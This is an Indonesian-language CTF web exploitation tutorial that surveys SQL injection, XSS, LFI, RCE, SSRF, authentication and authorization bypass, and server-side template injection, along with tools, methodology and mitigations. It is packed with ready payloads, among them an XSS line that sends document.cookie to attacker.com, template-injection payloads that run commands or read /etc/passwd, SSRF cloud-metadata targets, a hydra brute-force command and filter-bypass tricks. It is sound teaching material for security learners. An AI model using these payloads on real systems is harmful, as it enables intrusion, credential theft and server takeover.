Apa itu CTF Web Exploitation?
Capture The Flag (CTF) adalah kompetisi keamanan siber yang menantang peserta untuk menemukan “flag” yang tersembunyi dengan mengeksploitasi kerentanan dalam sistem. Kategori Web Exploitation fokus pada kerentanan aplikasi web yang umum ditemukan di dunia nyata.
Kategori Umum dalam Web CTF
1. SQL Injection
SQL Injection adalah salah satu kerentanan paling umum dalam CTF. Attacker dapat memanipulasi query SQL untuk mengakses, memodifikasi, atau menghapus data.
Contoh Payload:
' OR '1'='1' --admin' --' UNION SELECT NULL, username, password FROM users --Cara Mendeteksi:
- Input field yang tidak ter-sanitasi
- Error messages yang menampilkan SQL syntax
- Response time yang berbeda untuk payload yang berbeda (Blind SQLi)
2. Cross-Site Scripting (XSS)
XSS memungkinkan attacker untuk menjalankan JavaScript berbahaya di browser korban.
Tipe-tipe XSS:
- Reflected XSS: Payload di-reflect langsung dalam response
- Stored XSS: Payload tersimpan di database
- DOM-based XSS: Manipulasi DOM di client-side
Contoh Payload:
<script>alert(document.cookie)</script><img src=x onerror="alert('XSS')"><svg onload="alert(1)">3. Local File Inclusion (LFI)
LFI memungkinkan attacker membaca file lokal dari server.
Contoh:
?file=../../../../etc/passwd?page=php://filter/convert.base64-encode/resource=index.php?file=/var/log/apache2/access.logTeknik Advanced:
- PHP wrapper exploitation
- Log poisoning
- Path truncation
4. Remote Code Execution (RCE)
RCE adalah holy grail dari web exploitation - kemampuan untuk menjalankan kode arbitrary di server.
Common Vectors:
- Command injection via
system(),exec(),shell_exec() - Deserialization vulnerabilities
- Server-Side Template Injection (SSTI)
Contoh Payload:
; ls -la| cat /etc/passwd`whoami`5. Server-Side Request Forgery (SSRF)
SSRF memungkinkan attacker membuat server melakukan request ke resource internal yang tidak seharusnya dapat diakses.
Target Umum:
# Cloud Metadata (AWS)http://169.254.169.254/latest/meta-data/
# Internal Serviceshttp://127.0.0.1:8080/adminhttp://localhost:6379/ (Redis)
# File Systemfile:///etc/passwdBypass Techniques:
# IP Encodinghttp://2130706433/ (127.0.0.1 in decimal)http://0177.0.0.1/ (octal)http://0x7f.0x0.0x0.0x1/ (hex)
# URL Parser Issueshttp://expected-host@evil-host/
# Protocol Wrappergopher://127.0.0.1:6379/dict://127.0.0.1:6379/infoTools:
- SSRFmap: Automated SSRF exploitation
- Gopherus: Generate gopher payloads
6. Authentication & Authorization Bypass
Authentication dan Authorization adalah dua konsep berbeda yang sering menjadi target dalam CTF. Authentication memverifikasi “siapa Anda”, sedangkan Authorization menentukan “apa yang boleh Anda lakukan”.
A. Authentication Bypass
1. SQL Injection-based Auth Bypass:
Memanipulasi query SQL untuk bypass login:
# Original querySELECT * FROM users WHERE username='$user' AND password='$pass'
# Bypass payloadsUsername: admin' OR '1'='1' --Password: anything
Username: admin' --Password: anything
Username: ' OR 1=1 --Password: anything2. Weak Password Attacks:
# Brute force dengan hydrahydra -l admin -P /usr/share/wordlists/rockyou.txt http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials"
# Dictionary attack dengan Burp Intruder# Common default credentialsadmin:adminadmin:passwordroot:rootadmin:123453. JWT (JSON Web Token) Manipulation:
JWT Structure:
[Header].[Payload].[Signature]Attack Vectors:
a) None Algorithm:
{ "alg": "none", "typ": "JWT"}Ubah algorithm ke “none” dan hapus signature.
b) Algorithm Confusion (RS256 to HS256):
# Server menggunakan RS256 dengan public key# Attacker change ke HS256 dan sign dengan public keyimport jwtpublic_key = open('public.pem', 'r').read()token = jwt.encode({"user":"admin"}, public_key, algorithm='HS256')c) Weak Secret:
# Crack JWT secrethashcat -m 16500 jwt.txt wordlist.txtjohn jwt.txt --wordlist=wordlist.txt --format=HMAC-SHA256d) JWT Claims Manipulation:
{ "user": "admin", // Change dari "user" "role": "admin", // Change dari "user" "exp": 9999999999 // Extend expiration}4. Session-based Attacks:
Session Fixation:
1. Attacker mendapat session ID: SESSIONID=abc1232. Victim login dengan session ID yang sama3. Attacker menggunakan session ID untuk access akun victimSession Hijacking:
# Via XSS<script>document.location='http://attacker.com/?c='+document.cookie</script>
# Via network sniffing (if HTTP not HTTPS)Predictable Session IDs:
# Jika session ID sequential atau predictablesession_ids = [f"SESS{i}" for i in range(1000, 2000)]# Try each session ID5. Cookie Manipulation:
// Decode base64 cookieatob("dXNlcj1ndWVzdA==") // Output: user=guest
// Modify and re-encodebtoa("user=admin") // dXNlcj1hZG1pbg==
// Tamper with serialized cookiesuser=O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:5:"admin";}B. Authorization Bypass
1. Insecure Direct Object Reference (IDOR):
# Normal requestGET /api/user/1234/profile
# IDOR - access other user's profileGET /api/user/1235/profileGET /api/user/1/profile (admin?)
# Mass AssignmentPOST /api/user/1234/update{"email": "new@email.com", "role": "admin"}2. Path Traversal in Authorization:
# Bypass dengan path manipulation/admin/../../user/profile/admin/../user/settings/admin/%2e%2e%2fuser/data3. HTTP Method Tampering:
# POST blocked but PUT/PATCH allowedcurl -X PUT http://target.com/admin/delete/user/123
# GET blocked but HEAD allowedcurl -I http://target.com/admin4. Parameter Pollution:
# Application checks first parameter/admin?role=user&role=admin
# Try array notation/admin?role[]=user&role[]=admin5. Missing Function Level Access Control:
# Access admin functions directly/user/profile (allowed)/admin/panel (should check but doesn't)/api/admin/deleteUser?id=1236. OAuth/SAML Vulnerabilities:
OAuth Misconfigurations:
# Open redirect in redirect_uri?redirect_uri=https://attacker.com
# Token leakage via Referer header# CSRF in OAuth flowSAML Attacks:
<!-- XML Signature Wrapping --><!-- Comment injection --><!-- XXE in SAML response -->Advanced Techniques:
1. Race Conditions:
# Multiple simultaneous requests# Bypass rate limiting or one-time token checksimport threadingdef attempt_login(): requests.post('/login', data={'token': 'one-time-token'})
threads = [threading.Thread(target=attempt_login) for _ in range(10)][t.start() for t in threads]2. 2FA Bypass:
# Techniques:- Response manipulation (change "success":false to true)- Direct access to post-2FA endpoint- Brute force 2FA code (if no rate limit)- Backup codes enumeration- Remember me functionality abuse3. Password Reset Vulnerabilities:
# Host header injectionHost: attacker.com
# Token leakage via Referer# Predictable tokens# Token doesn't expire# Token reuseTools:
- Burp Suite: Intercept dan modify requests
- JWT.io: JWT decoder/encoder
- Postman: API testing
- Hydra/Medusa: Brute force
- AuthMatrix: Burp extension untuk testing authorization
Real-World Examples:
- Facebook OAuth vulnerability
- GitHub JWT bypass
- Instagram password reset flaw
- Uber IDOR vulnerability
Mitigation:
Authentication:
- Implement proper password hashing (bcrypt, argon2)
- Use strong JWT secrets
- Implement rate limiting
- Multi-factor authentication
- Secure session management
Authorization:
- Implement proper access control checks
- Validate user permissions on every request
- Use centralized authorization logic
- Principle of least privilege
- Log and monitor access attempts
7. Server-Side Template Injection (SSTI)
SSTI adalah kerentanan yang terjadi ketika user input di-embed ke dalam template engine tanpa proper sanitization, memungkinkan attacker untuk inject template directives dan menjalankan arbitrary code di server.
Template Engines yang Rentan:
- Python: Jinja2, Mako, Tornado
- PHP: Twig, Smarty
- JavaScript: Handlebars, Pug, EJS
- Java: Freemarker, Velocity
- Ruby: ERB, Slim
Cara Deteksi:
Test dengan payload sederhana untuk melihat apakah expression di-evaluate:
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}*{7*7}Jika output menunjukkan 49 atau hasil evaluasi lainnya, kemungkinan vulnerable terhadap SSTI.
Payload Umum:
Jinja2 (Python/Flask):
# Basic RCE{{config.items()}}{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
# Alternative payloads{{''.__class__.__mro__[1].__subclasses__()}}{{request.application.__globals__.__builtins__.__import__('os').popen('cat /etc/passwd').read()}}
# File read{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}Twig (PHP):
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}{{_self.env.setCache("ftp://attacker.net/")}}{{_self.env.loadTemplate("backdoor")}}EJS (Node.js):
<%- global.process.mainModule.require('child_process').execSync('cat /etc/passwd') %>Freemarker (Java):
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }Teknik Exploitation:
-
Identifikasi Template Engine
- Test berbagai payload untuk menentukan engine yang digunakan
- Lihat error messages untuk clue tentang technology stack
-
Bypass Filters
# Jika '.' di-block{{request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']()}}# Jika '__' di-block{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')}}# Menggunakan encoding{{"__cla"+"ss__"}} -
RCE via Built-in Functions
# Python{{lipsum.__globals__['os'].popen('ls').read()}}{{cycler.__init__.__globals__.os.popen('id').read()}}# Access to config{{config['SECRET_KEY']}} -
Blind SSTI
- Gunakan time-based detection
- Out-of-band interaction (DNS, HTTP)
{{''.__class__.__mro__[1].__subclasses__()[396]('sleep 5',shell=True,stdout=-1).communicate()}}
Tools untuk SSTI:
- tplmap: Automated SSTI detection and exploitation
Terminal window tplmap -u 'http://target.com/page?name=test' - SSTImap: Alternative tool untuk SSTI scanning
- Burp Suite Extensions: Backslash Powered Scanner
Real-World Impact:
- Remote Code Execution
- Full server compromise
- Data exfiltration
- Privilege escalation
- Internal network access
Mitigation:
- Selalu sanitize user input
- Gunakan sandboxed template environments
- Implement whitelist untuk allowed characters
- Avoid passing user input directly ke template engine
- Use logic-less templates jika memungkinkan
Tools yang Sering Digunakan
Reconnaissance
- Burp Suite: Web proxy untuk intercept dan modify requests
- OWASP ZAP: Alternative open-source untuk Burp
- ffuf/gobuster: Directory fuzzing
- Nmap: Port scanning
Exploitation
- sqlmap: Automated SQL injection tool
- XSStrike: XSS detection and exploitation
- CyberChef: Encoding/decoding utility
- curl/wget: Manual HTTP requests
Analysis
- Developer Tools: Browser built-in tools
- Wappalyzer: Technology detection
- nikto: Web server scanner
Metodologi Solving Web CTF
1. Reconnaissance
- Inspect source code (HTML, JS, CSS)
- Check robots.txt, sitemap.xml
- Look for comments, debug information
- Identify technology stack
2. Enumeration
- Directory fuzzing
- Parameter discovery
- Subdomain enumeration
- API endpoint discovery
3. Vulnerability Analysis
- Test input fields
- Check for common vulnerabilities
- Analyze authentication mechanisms
- Review session management
4. Exploitation
- Craft payload
- Bypass filters (WAF, input validation)
- Chain multiple vulnerabilities
- Privilege escalation
5. Post-Exploitation
- Find the flag
- Document findings
- Clean up traces
Tips & Tricks
- Always View Source: Flag bisa tersembunyi di HTML comments, JavaScript, atau CSS
- Intercept Everything: Gunakan proxy untuk melihat semua requests/responses
- Test Input Validation: Coba berbagai payloads untuk bypass filters
- Chain Vulnerabilities: Kombinasi multiple bugs untuk exploitasi yang lebih powerful
- Read Documentation: Pahami teknologi yang digunakan oleh target
- Use CTF Platforms: Practice di platform seperti HackTheBox, TryHackMe, PicoCTF
Common Bypasses
WAF Bypass
# Case variation<ScRiPt>alert(1)</sCrIpT>
# Encoding%3Cscript%3Ealert(1)%3C/script%3E
# Nested tags<scr<script>ipt>alert(1)</scr</script>ipt>Filter Bypass
# Blacklist bypasscat fl''ag.txtc''at flag.txt
# Whitespace alternativescat${IFS}flag.txtcat$IFS$9flag.txtResources untuk Belajar
- WebGoat: OWASP interactive security lessons
- DVWA: Damn Vulnerable Web Application
- PortSwigger Academy: Free web security training
- PentesterLab: Hands-on web penetration testing
- CTFtime: Calendar dan writeups dari CTF competitions
Kesimpulan
Web exploitation adalah skill fundamental dalam cybersecurity. CTF competitions adalah cara yang excellent untuk belajar dan practice dalam lingkungan yang aman dan legal. Selalu remember:
- Practice di environment yang legal
- Jangan test di sistem tanpa permission
- Document your learning process
- Share knowledge dengan community
Happy hacking, dan selamat berburu flag! 🚩